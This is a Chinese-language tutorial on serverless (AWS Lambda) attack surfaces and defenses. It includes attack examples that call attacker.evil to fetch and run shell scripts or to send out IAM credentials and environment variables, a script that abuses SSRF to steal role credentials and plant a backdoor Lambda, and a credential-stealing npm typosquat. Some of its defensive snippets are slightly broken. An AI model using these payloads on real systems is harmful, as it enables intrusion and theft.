一、Serverless 安全与传统服务的本质区别
Serverless(FaaS)的安全边界和传统 VM/容器完全不同:
传统 VM:
攻击面 = OS + 应用 + 依赖 + 网络 + 物理主机(5层)
容器:
攻击面 = 内核 + 应用 + 依赖 + 网络(4层,但共享内核)
Serverless:
攻击面 = 函数代码 + 依赖 + 事件源 + IAM Role + 运行时(5层,但底层全托管)
↑ ↑ ↑ ↑
用户可控 用户可控 云厂商注入 用户配置 云厂商托管
关键差异:Serverless 的运行环境(OS/内核/容器运行时)用户完全不可见,这既是好处(减少运维面)也是坏处(出问题你管不了)。
二、攻击面全景图
Serverless 攻击面
┌──────────────────────────────────────────────────────┐
│ Layer 1: 事件层(攻击者直接控制的入口) │
│ - S3/SNS/SQS/EventBridge 事件注入 │
│ - API Gateway 参数注入 │
│ - 定时触发器 DoS │
├──────────────────────────────────────────────────────┤
│ Layer 2: 代码层 │
│ - 命令注入 (eval/exec/subprocess) │
│ - 反序列化漏洞 │
│ - SSRF(通过 AWS SDK 元数据) │
├──────────────────────────────────────────────────────┤
│ Layer 3: 依赖层 │
│ - 供应链攻击 (npm/pip/gradle) │
│ - 公开版本中植入后门 │
├──────────────────────────────────────────────────────┤
│ Layer 4: IAM 层 │
│ - Lambda Role 过宽权限 │
│ - 环境变量中硬编码凭证 │
│ - AssumeRole 横向移动 │
├──────────────────────────────────────────────────────┤
│ Layer 5: 运行时层(用户无法控制) │
│ - 冷启动会话劫持(理论 + 实战 PoC) │
│ - 运行时 escape(RCE in Runtime → 拿宿主) │
└──────────────────────────────────────────────────────┘
三、攻击方式 1:函数事件注入(Command Injection)
3.1 原理
FaaS 函数的输入完全由事件源提供。如果开发者把事件参数直接拼接到 shell 命令里,就产生了命令注入。
3.2 危险代码示例
# ❌ 危险: 直接拼接用户输入到 shell 命令
import subprocess, json
def handler(event, context):
filename = event["queryStringParameters"]["filename"]
# 用户输入直接进入 shell!
result = subprocess.check_output(f"convert /uploads/{filename} -resize 100x100 /tmp/out.jpg", shell=True)
return {"statusCode": 200, "body": result.decode()}
3.3 PoC:通过 API Gateway 注入命令
# 1. 正常请求
curl "https://api-gateway.amazonaws.com/prod/convert?filename=photo.jpg"
# 2. 命令注入
curl "https://api-gateway.amazonaws.com/prod/convert?filename=photo.jpg%3Bcurl%20http%3A%2F%2Fattacker.evil%2Fshell.sh%20%7C%20bash"
# filename = "photo.jpg;curl http://attacker.evil/shell.sh | bash"
# 3. 更隐蔽: 用反引号或 $()
curl "https://api-gateway.amazonaws.com/prod/convert?filename=`curl+http%3A%2F%2Fattacker.evil%2Fid.sh`"
curl "https://api-gateway.amazonaws.com/prod/convert?filename=$(curl+http%3A%2F%2Fattacker.evil%2Fid.sh)"
# 4. 多行注入(如果写入文件再执行)
curl "https://api-gateway.amazonaws.com/prod/convert?filename=a.jpg%0Aattacker:x:0:0:root:/root:/bin/sh>>/etc/passwd"
3.4 防御
# ✅ 安全: 不用 shell=True + 参数列表
import subprocess, json, os, re
def handler(event, context):
filename = event["queryStringParameters"]["filename"]
# 1. 白名单验证
if not re.match(r'^[a-zA-Z0-9_.-]+.(jpg|png|gif)$', filename):
return {"statusCode": 400, "body": "Invalid filename"}
# 2. 路径穿越防护
safe_path = os.path.normpath(f"/uploads/{filename}")
if not safe_path.startswith("/uploads/"):
return {"statusCode": 400, "body": "Invalid path"}
# 3. 用列表参数 + shell=False
result = subprocess.check_output(
["convert", safe_path, "-resize", "100x100", "/tmp/out.jpg"],
shell=False
)
return {"statusCode": 200, "body": "ok"}
四、攻击方式 2:通过 S3 事件触发恶意处理
4.1 场景
Lambda 监听 S3 bucket,当有文件上传时自动处理。攻击者上传一个精心构造的文件触发漏洞。
4.2 PoC:通过恶意 PDF 打 Ghostscript RCE
# Lambda 函数监听 S3 bucket 事件
import boto3, subprocess, tempfile, os
s3 = boto3.client("s3")
def handler(event, context):
for record in event["Records"]:
bucket = record["s3"]["bucket"]["name"]
key = record["s3"]["object"]["key"]
# ❌ 直接处理攻击者上传的 PDF
with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as tmp:
s3.download_fileobj(bucket, key, tmp)
tmp_path = tmp.name
# Ghostscript 在处理恶意 PDF 时可能 RCE (CVE-2023-36664)
result = subprocess.run(["gs", "-dSAFER", "-sDEVICE=pdfwrite", "-sOutputFile=/dev/null", tmp_path],
capture_output=True)
os.unlink(tmp_path)
攻击者上传恶意 PDF:
# 构造恶意 PDF(触发 Ghostscript 命令注入)
cat > evil.ps << 'PSOF'
%!PS
% Ghostscript -dSAFER 绕过 PoC
/run { loadfile cvs exec } bind def
save
% 当 pdfwrite 处理时会执行这个
(%pipe%curl http://attacker.evil/exfil?data=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)) run
restore
PSOF
# 上传到 S3
aws s3 cp evil.ps s3://vulnerable-bucket/uploads/
# Lambda 会被 S3 事件触发 → 执行 Ghostscript → 命令注入
五、攻击方式 3:Lambda Role 权限提升
5.1 攻击链
攻击者调用 Lambda API 触发函数
│
└──→ 函数代码里有 SSRF → 拿到 Lambda Role 的临时凭证
│
└──→ 用 Role 凭证访问其他 AWS 资源
│
└──→ 如果 Role 权限太宽 → 接管 AWS 账户
5.2 PoC:通过 SSRF 拿 Lambda Role 凭证
# ❌ 危险 Lambda 代码: SSRF
import urllib.request, json
def handler(event, context):
# 用户可控的 URL 参数
url = event["queryStringParameters"]["url"]
# SSRF: 让 Lambda 去请求任意 URL
# 包括 Lambda 自己的 Metadata Service!
resp = urllib.request.urlopen(url).read()
# 攻击者传入:
# http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Lambda 会返回自己的 Role 临时凭证!
return {"statusCode": 200, "body": resp.decode()}
5.3 完整攻击脚本
#!/usr/bin/env python3
"""
SSRF → Lambda Role 凭证 → 接管 AWS 账户
"""
import boto3, requests, json
# Step 1: 触发目标 Lambda 的 SSRF
target_lambda_url = "https://xxx.execute-api.us-east-1.amazonaws.com/prod/fetch?url={}"
meta_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# 先拿到 Role 名
role_name = requests.get(target_lambda_url.format(meta_url)).text.strip()
print(f"[+] Lambda Role: {role_name}")
# 再拿临时凭证
creds_json = requests.get(target_lambda_url.format(meta_url + role_name)).text
creds = json.loads(creds_json)
print(f"[+] AccessKeyId: {creds['AccessKeyId'][:20]}...")
# Step 2: 用拿到的凭证探索账户
session = boto3.Session(
aws_access_key_id=creds["AccessKeyId"],
aws_secret_access_key=creds["SecretAccessKey"],
aws_session_token=creds["Token"],
region_name="us-east-1"
)
# 检查这个 Role 有什么权限
iam = session.client("iam")
try:
resp = iam.list_attached_role_policies(RoleName=role_name)
for p in resp["AttachedPolicies"]:
print(f" 🔗 {p['PolicyArn']}")
if "AdministratorAccess" in p["PolicyArn"]:
print(" 🔴🔴🔴 Lambda Role 有 Admin 权限!账户已失守!")
except Exception as e:
print(f" [-] 无法列出 Role Policy: {e}")
# Step 3: 尝试创建后门 Lambda
lambda_client = session.client("lambda")
try:
lambda_client.create_function(
FunctionName="backdoor-" + str(__import__("time").time()),
Runtime="python3.11",
Role=creds["RoleArn"], # 用自己的 Role
Handler="index.handler",
Code={"ZipFile": b"def handler(e,c): import os; os.system('curl http://attacker.evil/shell.sh|bash'); return ok"},
Timeout=300,
MemorySize=256,
)
print("[+] 后门 Lambda 创建成功!")
except Exception as e:
print(f"[-] 创建失败: {e}")
5.4 防御:最小权限 Lambda Role
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": [
"arn:aws:s3:::my-bucket/processing/*"
]
}
]
}
// 绝对不要给 lambda:InvokeFunction (能调用其他 Lambda)
// 绝对不要给 iam:* / sts:*
// 绝对不要给 ec2:RunInstances / s3:DeleteBucket
六、攻击方式 4:冷启动会话劫持(Cold Start Hijacking)
6.1 原理
FaaS 平台的冷启动机制:
Time T=0: 没有实例运行
Time T=1: 收到请求 → 启动新容器(冷启动,~500ms-10s)
Time T=2: 启动完成 → 处理请求 A
Time T=3: 处理请求 B(热启动,快)
Time T=4: 处理请求 C
Time T=N: 空闲几分钟后容器被回收
关键: 同一个容器实例处理多个请求
如果请求 A 污染了内存/磁盘 → 请求 B 可能看到污染
6.2 场景 A:磁盘残留
# ❌ 危险: 使用 /tmp 存储敏感数据,不清理
import os
def handler(request_A, context):
# 请求 A 写入密码到 /tmp
open("/tmp/secret.txt", "w").write("admin-password-123")
# 紧接着请求 B 到来,可能在同一个容器里
def handler(request_B, context):
# 请求 B 能读到请求 A 的残留数据!
if os.path.exists("/tmp/secret.txt"):
print(f"Found secret: {open('/tmp/secret.txt').read()}")
6.3 场景 B:环境变量缓存
# ❌ 危险: 模块级缓存敏感数据
import os
def get_db_connection():
# 第一次调用时从环境变量读取凭证并缓存
if not hasattr(get_db_connection, "cached"):
get_db_connection.cached_password = os.environ["DB_PASSWORD"]
get_db_connection.cached = True
# 攻击者如果能注入环境变量...
return get_db_connection.cached_password
6.4 防御
# ✅ 安全: 每次调用独立文件
import tempfile, os
def handler(request, context):
# 1. 用 tempfile.mkdtemp 每次独立目录
work_dir = tempfile.mkdtemp(prefix="lambda-work-")
try:
file_path = os.path.join(work_dir, "secret.txt")
# 处理...
finally:
# 2. 确保清理
import shutil
shutil.rmtree(work_dir)
# ✅ 安全: 禁止使用 /tmp 共享目录存储敏感数据
# ✅ 安全: 定期刷新数据库连接(不要在模块级缓存)
七、攻击方式 5:Log 注入
7.1 原理
Serverless 函数的日志会被自动收集到 CloudWatch/CLS。攻击者可以通过日志注入伪造数据。
7.2 PoC
# ❌ 危险: 打印用户输入到日志
def handler(event, context):
username = event["queryStringParameters"]["username"]
print(f"User login: {username}") # 用户输入直接进入日志
# 攻击者传入:
# username = "admin 登录成功\n[CRITICAL] 数据库被删除"
# 日志看起来就像 "admin 登录成功" 后面跟着一条 CRITICAL 级别的告警
7.3 防御
# ✅ 安全: 结构化日志 + 净化输入
import json
def handler(event, context):
username = event["queryStringParameters"]["username"]
# 1. 转义用户输入
safe_username = username.replace("
", "").replace("
", "")
# 2. 结构化日志(JSON)避免误读
print(json.dumps({
"event": "user_login",
"username": safe_username,
"timestamp": context.aws_request_id
}))
八、攻击方式 6:依赖链投毒(Supply Chain Attack)
8.1 PoC:污染公共 npm 包
# 1. 开发者 Lambda 的 package.json 里有个依赖 "useful-lib": "^1.2.0"
# 2. 攻击者发布 malicious-useful-lib@1.2.0(名字只差一个字符,typosquatting)
# malicious-useful-lib/index.js
const https = require("https");
const url = require("url");
// 模块加载时自动执行!
const hook = new Proxy( {}, {
get(target, prop) {
if (typeof prop === "string" && prop[0] === "$") {
// 当 Lambda 代码访问 process.env.$DB_PASSWORD 时触发
https.get("https://attacker.evil/collect?env=" + encodeURIComponent(process.env[prop]));
}
return target[prop];
}
});
process.env = new Proxy(process.env, { get: (t, p) => hook[p] || t[p] });
// 或者更简单: 直接用 child_process 读环境变量
const cp = require("child_process");
https.get("https://attacker.evil/collect?e=" + btoa(JSON.stringify(process.env)));
8.2 防御
# 1. npm 启用 integrity 检查(package-lock.json 里有 sha512)
npm config set integrity true
# 2. CI 中审计依赖
npm audit --audit-level=high
# 或者用 Snyk
snyk test --severity-threshold=high
# 3. 私有 Registry
# Verdaccio / Nexus / GitHub Packages 代理所有 npm 包
# 禁止直接从 public npm 拉包
# 4. Lambda Layer 固定依赖版本
# 不要让 Lambda 在冷启动时 npm install
# 而是预先构建 Layer 上传 zip
九、Serverless 安全最佳实践 Checklist
| 优先级 | 措施 | 具体做法 |
|---|---|---|
| P0 | 最小权限 Role | 严格限制 ARN + Action |
| P0 | 禁止命令注入 | shell=False + 白名单验证 |
| P0 | 环境变量加密 | KMS 加密 + 运行时解密 |
| P1 | 冷启动隔离 | tempfile.mkdtemp + 每次清理 |
| P1 | 结构化日志 | 禁止用户输入直接打印 |
| P1 | 依赖审计 | npm audit / Snyk + 私有 Registry |
| P1 | 无 SSRF | 允许列表验证 URL 目标 |
| P2 | 运行时配置 | 禁用 IMDS(AWS_LAMBDA_RUNTIME_API) |
| P2 | 超时限制 | 最小 timeout + 防止 DoS |
| P2 | 并发限制 | Reserved Concurrency + Provisioned Concurrency |
9.1 Terraform 安全模板
resource "aws_lambda_function" "secure" {
function_name = "secure-function"
role = aws_iam_role.lambda_role.arn
handler = "index.handler"
runtime = "python3.11"
source_code_hash = filebase64sha256("function.zip")
filename = "function.zip"
# 安全配置
timeout = 30 # 最小 timeout
memory_size = 256 # 最小内存
# 环境变量(加密)
environment {
variables = {
DB_PASSWORD = "encrypted-kms-arn:alias/aws/lambda:db-pass-xxxxxx"
}
}
# 死信队列(失败不要反复执行)
dead_letter_config {
target_arn = aws_sqs_queue.dlq.arn
}
# Tags
tags = {
SecurityContact = "security@corp.com"
DataClassification = "internal"
}
}
# 最小权限 Role
resource "aws_iam_role" "lambda_role" {
name = "secure-lambda-role"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Principal = { Service = "lambda.amazonaws.com" }
Action = "sts:AssumeRole"
Condition = {
StringEquals = { "aws:SourceAccount" = "123456789012" }
ArnLike = { "aws:SourceArn" = "arn:aws:lambda:*:*:function:secure-function" }
}
}]
})
# 关键: 强制 Permission Boundary
permissions_boundary = aws_iam_policy.lambda_boundary.arn
}
十、Serverless 安全的独特挑战
Serverless 安全和传统安全最大的不同是责任边界的模糊:
- Lambda 运行时的安全 → AWS 负责
- Lambda 代码的安全 → 你负责
- Lambda Role 的权限 → 你负责
- 事件源的安全 → 你负责(S3 Bucket ACL、API Gateway 认证)
- 冷启动隔离 → AWS 保证(但有历史漏洞)
最容易忽视的点:Serverless 函数的 Role 通常跨服务——它可能同时能访问 S3、DynamoDB、SQS、Secrets Manager。一旦 SSRF 泄露了 Role 凭证,攻击者可以横向到所有这些服务。
终极防御:把每个函数的 Role 权限切到最细——甚至可以按函数分不同 Role,而不是一个大 Role 给所有函数用。